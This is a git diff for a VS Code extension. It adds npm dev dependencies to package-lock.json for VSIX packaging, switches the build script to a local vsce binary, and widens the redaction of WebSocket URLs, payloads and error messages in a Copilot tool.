-      "license": "ISC"
-    },
     "node_modules/slash": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
@@ -2833,6 +5638,24 @@
         "node": ">=8"
       }
     },
+    "node_modules/slice-ansi": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz",
+      "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "ansi-styles": "^4.0.0",
+        "astral-regex": "^2.0.0",
+        "is-fullwidth-code-point": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/slice-ansi?sponsor=1"
+      }
+    },
     "node_modules/source-map-js": {
       "version": "1.2.1",
       "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
@@ -2843,6 +5666,42 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/spdx-correct": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz",
+      "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "dependencies": {
+        "spdx-expression-parse": "^3.0.0",
+        "spdx-license-ids": "^3.0.0"
+      }
+    },
+    "node_modules/spdx-exceptions": {
+      "version": "2.5.0",
+      "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz",
+      "integrity": "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==",
+      "dev": true,
+      "license": "CC-BY-3.0"
+    },
+    "node_modules/spdx-expression-parse": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz",
+      "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "spdx-exceptions": "^2.1.0",
+        "spdx-license-ids": "^3.0.0"
+      }
+    },
+    "node_modules/spdx-license-ids": {
+      "version": "3.0.23",
+      "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.23.tgz",
+      "integrity": "sha512-CWLcCCH7VLu13TgOH+r8p1O/Znwhqv/dbb6lqWy67G+pT1kHmeD/+V36AVb/vq8QMIQwVShJ6Ssl5FPh0fuSdw==",
+      "dev": true,
+      "license": "CC0-1.0"
+    },
     "node_modules/split": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/split/-/split-1.0.1.tgz",
@@ -2879,6 +5738,17 @@
         "through": "~2.3.4"
       }
     },
+    "node_modules/string_decoder": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+      "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "safe-buffer": "~5.2.0"
+      }
+    },
     "node_modules/string-width": {
       "version": "4.2.3",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
@@ -2919,6 +5789,27 @@
         "node": ">=8"
       }
     },
+    "node_modules/strip-json-comments": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
+      "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/structured-source": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/structured-source/-/structured-source-4.0.0.tgz",
+      "integrity": "sha512-qGzRFNJDjFieQkl/sVOI2dUjHKRyL9dAJi2gCPGJLbJHBIkyOHxjuocpIEfbLioX+qSJpvbYdT49/YCdMznKxA==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "dependencies": {
+        "boundary": "^2.0.0"
+      }
+    },
     "node_modules/supports-color": {
       "version": "7.2.0",
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
@@ -2931,6 +5822,23 @@
         "node": ">=8"
       }
     },
+    "node_modules/supports-hyperlinks": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-3.2.0.tgz",
+      "integrity": "sha512-zFObLMyZeEwzAoKCyu1B91U79K2t7ApXuQfo8OuxwXLDgcKxuwM+YvcbIhm6QWqz7mHUH1TVytR1PwVVjEuMig==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "has-flag": "^4.0.0",
+        "supports-color": "^7.0.0"
+      },
+      "engines": {
+        "node": ">=14.18"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/supports-hyperlinks?sponsor=1"
+      }
+    },
     "node_modules/symbol-tree": {
       "version": "3.2.4",
       "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
@@ -2938,6 +5846,95 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/table": {
+      "version": "6.9.0",
+      "resolved": "https://registry.npmjs.org/table/-/table-6.9.0.tgz",
+      "integrity": "sha512-9kY+CygyYM6j02t5YFHbNz2FN5QmYGv9zAjVp4lCDjlCw7amdckXlEt/bjMhUIfj4ThGRE4gCUH5+yGnNuPo5A==",
+      "dev": true,
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "ajv": "^8.0.1",
+        "lodash.truncate": "^4.4.2",
+        "slice-ansi": "^4.0.0",
+        "string-width": "^4.2.3",
+        "strip-ansi": "^6.0.1"
+      },
+      "engines": {
+        "node": ">=10.0.0"
+      }
+    },
+    "node_modules/tar-fs": {
+      "version": "2.1.5",
+      "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.5.tgz",
+      "integrity": "sha512-OboTd8mmMhZDNPV+UjQcK9yKAatXu2aJ+r1w4im1Otd4M4fl2hwvdoXUxIYHFTHWK/3y3FarBP70v3vwmGlOxw==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "chownr": "^1.1.1",
+        "mkdirp-classic": "^0.5.2",
+        "pump": "^3.0.0",
+        "tar-stream": "^2.1.4"
+      }
+    },
+    "node_modules/tar-stream": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz",
+      "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "bl": "^4.0.3",
+        "end-of-stream": "^1.4.1",
+        "fs-constants": "^1.0.0",
+        "inherits": "^2.0.3",
+        "readable-stream": "^3.1.1"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/terminal-link": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-4.0.0.tgz",
+      "integrity": "sha512-lk+vH+MccxNqgVqSnkMVKx4VLJfnLjDBGzH16JVZjKE2DoxP57s6/vt6JmXV5I3jBcfGrxNrYtC+mPtU7WJztA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "ansi-escapes": "^7.0.0",
+        "supports-hyperlinks": "^3.2.0"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/text-table": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
+      "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/textextensions": {
+      "version": "6.11.0",
+      "resolved": "https://registry.npmjs.org/textextensions/-/textextensions-6.11.0.tgz",
+      "integrity": "sha512-tXJwSr9355kFJI3lbCkPpUH5cP8/M0GGy2xLO34aZCjMXBaK3SoPnZwr/oWmo1FdCnELcs4npdCIOFtq9W3ruQ==",
+      "dev": true,
+      "license": "Artistic-2.0",
+      "dependencies": {
+        "editions": "^6.21.0"
+      },
+      "engines": {
+        "node": ">=4"
+      },
+      "funding": {
+        "url": "https://bevry.me/fund"
+      }
+    },
     "node_modules/through": {
       "version": "2.3.8",
       "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
@@ -3039,6 +6036,16 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/tmp": {
+      "version": "0.2.7",
+      "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.7.tgz",
+      "integrity": "sha512-e0votIpp4Uo2AJYSzVHV6xCcawuiez3DzqDAbrTc3YxBkplN6e+dM13ZeIcZnDg/QpSuU2zfZ3rzwY8ukEnaXw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=14.14"
+      }
+    },
     "node_modules/to-regex-range": {
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
@@ -3078,6 +6085,62 @@
         "node": ">=20"
       }
     },
+    "node_modules/tslib": {
+      "version": "2.8.1",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+      "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+      "dev": true,
+      "license": "0BSD"
+    },
+    "node_modules/tunnel": {
+      "version": "0.0.6",
+      "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz",
+      "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.6.11 <=0.7.0 || >=0.7.3"
+      }
+    },
+    "node_modules/tunnel-agent": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
+      "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "optional": true,
+      "dependencies": {
+        "safe-buffer": "^5.0.1"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/type-fest": {
+      "version": "4.41.0",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz",
+      "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==",
+      "dev": true,
+      "license": "(MIT OR CC0-1.0)",
+      "engines": {
+        "node": ">=16"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/typed-rest-client": {
+      "version": "1.8.11",
+      "resolved": "https://registry.npmjs.org/typed-rest-client/-/typed-rest-client-1.8.11.tgz",
+      "integrity": "sha512-5UvfMpd1oelmUPRbbaVnq+rHP7ng2cE4qoQkQeAqxRL6PklkxsM0g32/HL0yfvruK6ojQ5x8EE+HF4YV6DtuCA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "qs": "^6.9.1",
+        "tunnel": "0.0.6",
+        "underscore": "^1.12.1"
+      }
+    },
     "node_modules/typescript": {
       "version": "5.9.3",
       "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
@@ -3092,6 +6155,20 @@
         "node": ">=14.17"
       }
     },
+    "node_modules/uc.micro": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/uc.micro/-/uc.micro-2.1.0.tgz",
+      "integrity": "sha512-ARDJmphmdvUk6Glw7y9DQ2bFkKBHwQHLi2lsaH6PPmz/Ka9sFOBsBluozhDltWmnv9u/cF6Rt87znRTPV+yp/A==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/underscore": {
+      "version": "1.13.8",
+      "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.8.tgz",
+      "integrity": "sha512-DXtD3ZtEQzc7M8m4cXotyHR+FAS18C64asBYY5vqZexfYryNNnDc02W4hKg3rdQuqOYas1jkseX0+nZXjTXnvQ==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/undici": {
       "version": "7.25.0",
       "resolved": "https://registry.npmjs.org/undici/-/undici-7.25.0.tgz",
@@ -3108,6 +6185,19 @@
       "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==",
       "license": "MIT"
     },
+    "node_modules/unicorn-magic": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.1.0.tgz",
+      "integrity": "sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
     "node_modules/universalify": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz",
@@ -3118,6 +6208,45 @@
         "node": ">= 10.0.0"
       }
     },
+    "node_modules/url-join": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/url-join/-/url-join-4.0.1.tgz",
+      "integrity": "sha512-jk1+QP6ZJqyOiuEI9AEWQfju/nB2Pw466kbA0LEZljHwKeMgd9WrAEgEGxjPDD2+TNbbb37rTyhEfrCXfuKXnA==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/util-deprecate": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/validate-npm-package-license": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz",
+      "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "dependencies": {
+        "spdx-correct": "^3.0.0",
+        "spdx-expression-parse": "^3.0.0"
+      }
+    },
+    "node_modules/version-range": {
+      "version": "4.15.0",
+      "resolved": "https://registry.npmjs.org/version-range/-/version-range-4.15.0.tgz",
+      "integrity": "sha512-Ck0EJbAGxHwprkzFO966t4/5QkRuzh+/I1RxhLgUKKwEn+Cd8NwM60mE3AqBZg5gYODoXW0EFsQvbZjRlvdqbg==",
+      "dev": true,
+      "license": "Artistic-2.0",
+      "engines": {
+        "node": ">=4"
+      },
+      "funding": {
+        "url": "https://bevry.me/fund"
+      }
+    },
     "node_modules/vite": {
       "version": "7.3.1",
       "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.1.tgz",
@@ -3771,6 +6900,20 @@
         "node": ">=20"
       }
     },
+    "node_modules/whatwg-encoding": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz",
+      "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==",
+      "deprecated": "Use @exodus/bytes instead for a more spec-conformant and faster implementation",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "iconv-lite": "0.6.3"
+      },
+      "engines": {
+        "node": ">=18"
+      }
+    },
     "node_modules/whatwg-mimetype": {
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-5.0.0.tgz",
@@ -3830,6 +6973,14 @@
         "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
       }
     },
+    "node_modules/wrappy": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
+      "dev": true,
+      "license": "ISC",
+      "optional": true
+    },
     "node_modules/ws": {
       "version": "8.21.0",
       "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz",
@@ -3851,6 +7002,22 @@
         }
       }
     },
+    "node_modules/wsl-utils": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/wsl-utils/-/wsl-utils-0.1.0.tgz",
+      "integrity": "sha512-h3Fbisa2nKGPxCpm89Hk33lBLsnaGBvctQopaBSOW/uIs6FTe1ATyAnKFJrzVs9vpGdsTe73WF3V4lIsk4Gacw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "is-wsl": "^3.1.0"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
     "node_modules/xml-name-validator": {
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz",
@@ -3861,6 +7028,30 @@
         "node": ">=18"
       }
     },
+    "node_modules/xml2js": {
+      "version": "0.5.0",
+      "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.5.0.tgz",
+      "integrity": "sha512-drPFnkQJik/O+uPKpqSgr22mpuFHqKdbS835iAQrUC73L2F5WkboIRd63ai/2Yg6I1jzifPFKH2NTK+cfglkIA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "sax": ">=0.6.0",
+        "xmlbuilder": "~11.0.0"
+      },
+      "engines": {
+        "node": ">=4.0.0"
+      }
+    },
+    "node_modules/xmlbuilder": {
+      "version": "11.0.1",
+      "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz",
+      "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=4.0"
+      }
+    },
     "node_modules/xmlchars": {
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
@@ -3877,6 +7068,13 @@
         "node": ">=10"
       }
     },
+    "node_modules/yallist": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+      "dev": true,
+      "license": "ISC"
+    },
     "node_modules/yaml": {
       "version": "2.8.2",
       "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.2.tgz",
@@ -3918,6 +7116,29 @@
       "engines": {
         "node": ">=12"
       }
+    },
+    "node_modules/yauzl": {
+      "version": "3.4.0",
+      "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-3.4.0.tgz",
+      "integrity": "sha512-jIH9yLR9wqr0wOS0TpBvo/g/2UgZH5qePVbjgRliiF0BYvOZyaBknKsF+x9Iht0O6sqgnB93rCICdOZFecJuDw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "pend": "~1.2.0"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/yazl": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/yazl/-/yazl-2.5.1.tgz",
+      "integrity": "sha512-phENi2PLiHnHb6QBVot+dJnaAZ0xosj7p3fWl+znIjBDlnMI2PsZCJZ306BPTFOaHf5qdDEI8x5qFrSOBN5vrw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "buffer-crc32": "~0.2.3"
+      }
     }
   }
 }
diff --git a/package.json b/package.json
index 57d512a..a8e324e 100644
--- a/package.json
+++ b/package.json
@@ -1060,7 +1060,7 @@
       {
         "name": "missio_websocket_session",
         "displayName": "Manage WebSocket Session",
-        "modelDescription": "Manage first-class WebSocket request lifecycle operations for an OpenCollection WebSocket request file. operation must be one of connect, send-message, disconnect, status, list-messages, or disconnect-all. Connect opens a persistent session without sending a message. Send-message sends the provided message or the selected request message over an existing connected session. Status and list-messages report current lifecycle state and recent sent, received, close, and error events. WebSocket URLs are redacted for sensitive query names.",
+        "modelDescription": "Manage first-class WebSocket request lifecycle operations for an OpenCollection WebSocket request file. operation must be one of connect, send-message, disconnect, status, list-messages, or disconnect-all. Connect opens a persistent session without sending a message. Send-message sends the provided message or the selected request message over an existing connected session. Status and list-messages report current lifecycle state and recent sent, received, close, and error events. Message payloads, close reasons, URL credentials, and all URL query values are redacted from model-visible results.",
         "userDescription": "Connect, send messages, inspect, and disconnect WebSocket sessions.",
         "toolReferenceName": "missio_websocket_session",
         "canBeReferencedInPrompt": true,
@@ -1245,6 +1245,7 @@
     "@types/vscode": "^1.85.0",
     "@types/ws": "^8.18.1",
     "@vscode/codicons": "^0.0.44",
+    "@vscode/vsce": "3.9.2",
     "ajv": "^8.17.1",
     "esbuild": "^0.20.0",
     "esbuild-plugin-copy": "^2.1.0",
diff --git a/scripts/build-and-install.ps1 b/scripts/build-and-install.ps1
index 928b5d1..dbea720 100644
--- a/scripts/build-and-install.ps1
+++ b/scripts/build-and-install.ps1
@@ -62,8 +62,13 @@ try {
     $CodeCommand = $code.Source
   }
 
+  $vsceCommand = Join-Path $repoRoot 'node_modules\.bin\vsce.cmd'
+  if (-not (Test-Path -LiteralPath $vsceCommand)) {
+    throw 'The local @vscode/vsce binary was not found. Run without -SkipNpmCi to install dependencies before packaging.'
+  }
+
   Invoke-Checked 'Package VSIX (runs npm run vscode:prepublish)' {
-    npx @vscode/vsce package --out $resolvedOutputPath
+    & $vsceCommand package --out $resolvedOutputPath
   }
 
   Invoke-Checked 'Install VSIX into VS Code' {
diff --git a/src/commands/requestCommands.ts b/src/commands/requestCommands.ts
index 32a67cb..9d2d111 100644
--- a/src/commands/requestCommands.ts
+++ b/src/commands/requestCommands.ts
@@ -155,9 +155,11 @@ export function registerRequestCommands(ctx: CommandContext): vscode.Disposable[
   }
 
   async function disconnectWebSocketFromContext(filePathOrNode?: any): Promise<void> {
-    const resolved = await resolveRequestContext(filePathOrNode);
-    const filePath = resolved?.filePath
-      ?? (typeof filePathOrNode === 'string' ? filePathOrNode : filePathOrNode?.resourceUri?.fsPath ?? filePathOrNode?.request?._filePath);
+    const directFilePath = typeof filePathOrNode === 'string'
+      ? filePathOrNode
+      : filePathOrNode?.resourceUri?.fsPath ?? filePathOrNode?.request?._filePath;
+    const resolved = directFilePath ? undefined : await resolveRequestContext(filePathOrNode);
+    const filePath = directFilePath ?? resolved?.filePath;
     if (!filePath) {
       vscode.window.showWarningMessage('No WebSocket request selected.');
       return;
@@ -200,6 +202,7 @@ export function registerRequestCommands(ctx: CommandContext): vscode.Disposable[
     if (!pick) return;
     if (pick.action === 'disconnectAll') {
       requestExecutionService.disconnectAllWebSocketSessions();
+      vscode.window.showInformationMessage('Disconnected all WebSocket sessions.');
       return;
     }
     if (pick.action === 'focus' && pick.session?.requestFilePath) {
diff --git a/src/copilot/tools/webSocketSessionTool.ts b/src/copilot/tools/webSocketSessionTool.ts
index 7fd2cf8..60e63a4 100644
--- a/src/copilot/tools/webSocketSessionTool.ts
+++ b/src/copilot/tools/webSocketSessionTool.ts
@@ -4,6 +4,7 @@ import { ToolBase } from './toolBase';
 import type { CollectionService } from '../../services/collectionService';
 import type { EnvironmentService } from '../../services/environmentService';
 import type { RequestExecutionService } from '../../services/requestExecutionService';
+import type { WebSocketExchangeEvent, WebSocketSessionSnapshot } from '../../services/webSocketClient';
 import { readFolderFile } from '../../services/yamlParser';
 import { detectUnresolvedVars } from '../../services/unresolvedVars';
 import type { MissioCollection, RequestDefaults, WebSocketMessage, WebSocketRequest } from '../../models/types';
@@ -47,24 +48,29 @@ export class WebSocketSessionTool extends ToolBase<WebSocketSessionParams> {
 
     if (input.operation === 'status' || input.operation === 'list-messages') {
       const session = this._requestExecutionService.getWebSocketSession(requestFilePath);
+      const redactedSession = session ? redactSession(session) : undefined;
       return JSON.stringify({
         success: !!session,
         operation: input.operation,
-        session: session ? redactSession(session) : undefined,
-        messages: input.operation === 'list-messages' ? session?.events ?? [] : undefined,
+        session: redactedSession,
+        messages: input.operation === 'list-messages' ? redactedSession?.events ?? [] : undefined,
         message: session ? undefined : 'No WebSocket session exists for this request.',
       });
     }
 
     if (input.operation === 'disconnect') {
-      const response = await this._requestExecutionService.disconnectWebSocketSession(requestFilePath);
-      const session = this._requestExecutionService.getWebSocketSession(requestFilePath);
-      return JSON.stringify({
-        success: true,
-        operation: input.operation,
-        session: session ? redactSession(session) : undefined,
-        response: response ? summarizeResponse(response) : undefined,
-      });
+      try {
+        const response = await this._requestExecutionService.disconnectWebSocketSession(requestFilePath);
+        const session = this._requestExecutionService.getWebSocketSession(requestFilePath);
+        return JSON.stringify({
+          success: true,
+          operation: input.operation,
+          session: session ? redactSession(session) : undefined,
+          response: response ? summarizeResponse(response) : undefined,
+        });
+      } catch (error: any) {
+        return JSON.stringify({ success: false, operation: input.operation, message: redactDiagnostic(error?.message ?? String(error)), code: error?.code });
+      }
     }
 
     if (input.operation === 'send-message') {
@@ -72,7 +78,7 @@ export class WebSocketSessionTool extends ToolBase<WebSocketSessionParams> {
         const session = await this._requestExecutionService.sendWebSocketMessage(requestFilePath, input.message);
         return JSON.stringify({ success: true, operation: input.operation, session: redactSession(session) });
       } catch (error: any) {
-        return JSON.stringify({ success: false, operation: input.operation, message: error?.message ?? String(error), code: error?.code });
+        return JSON.stringify({ success: false, operation: input.operation, message: redactDiagnostic(error?.message ?? String(error)), code: error?.code });
       }
     }
 
@@ -107,7 +113,7 @@ export class WebSocketSessionTool extends ToolBase<WebSocketSessionParams> {
       );
       return JSON.stringify({ success: true, operation: input.operation, session: redactSession(session) });
     } catch (error: any) {
-      return JSON.stringify({ success: false, operation: input.operation, message: error?.message ?? String(error), code: error?.code });
+      return JSON.stringify({ success: false, operation: input.operation, message: redactDiagnostic(error?.message ?? String(error)), code: error?.code });
     }
   }
 
@@ -175,31 +181,48 @@ export class WebSocketSessionTool extends ToolBase<WebSocketSessionParams> {
   }
 }
 
-function redactSession<T extends { url?: string }>(session: T): T {
-  const cloned = JSON.parse(JSON.stringify(session));
-  if (typeof cloned.url === 'string') {
-    try {
-      const parsed = new URL(cloned.url);
-      for (const [name] of parsed.searchParams.entries()) {
-        const lower = name.toLowerCase();
-        if (lower.includes('token') || lower.includes('key') || lower.includes('secret') || lower.includes('password')) {
-          parsed.searchParams.set(name, '[redacted]');
-        }
-      }
-      cloned.url = parsed.toString();
-    } catch {
-      // Leave non-parseable URLs as-is.
+function redactSession(session: WebSocketSessionSnapshot): WebSocketSessionSnapshot {
+  const cloned = JSON.parse(JSON.stringify(session)) as WebSocketSessionSnapshot;
+  if (cloned.url) cloned.url = redactUrl(cloned.url);
+  cloned.events = cloned.events.map(redactEvent);
+  if (cloned.lastError) cloned.lastError = redactDiagnostic(cloned.lastError);
+  return cloned;
+}
+
+function redactEvent(event: WebSocketExchangeEvent): WebSocketExchangeEvent {
+  const redacted = { ...event };
+  if (redacted.data !== undefined) {
+    redacted.data = redacted.direction === 'inbound' || redacted.direction === 'outbound'
+      ? '[redacted]'
+      : redactDiagnostic(redacted.data);
+  }
+  if (redacted.reason !== undefined) redacted.reason = '[redacted]';
+  return redacted;
+}
+
+function redactUrl(value: string): string {
+  try {
+    const parsed = new URL(value);
+    if (parsed.username) parsed.username = '[redacted]';
+    if (parsed.password) parsed.password = '[redacted]';
+    for (const [name] of parsed.searchParams.entries()) {
+      parsed.searchParams.set(name, '[redacted]');
     }
+    return parsed.toString();
+  } catch {
+    return value;
   }
-  return cloned;
+}
+
+function redactDiagnostic(value: string): string {
+  return value.replace(/wss?:\/\/[^\s"']+/gi, match => redactUrl(match));
 }
 
 function summarizeResponse(response: import('../../models/types').HttpResponse): Record<string, unknown> {
   return {
     status: response.status,
     statusText: response.statusText,
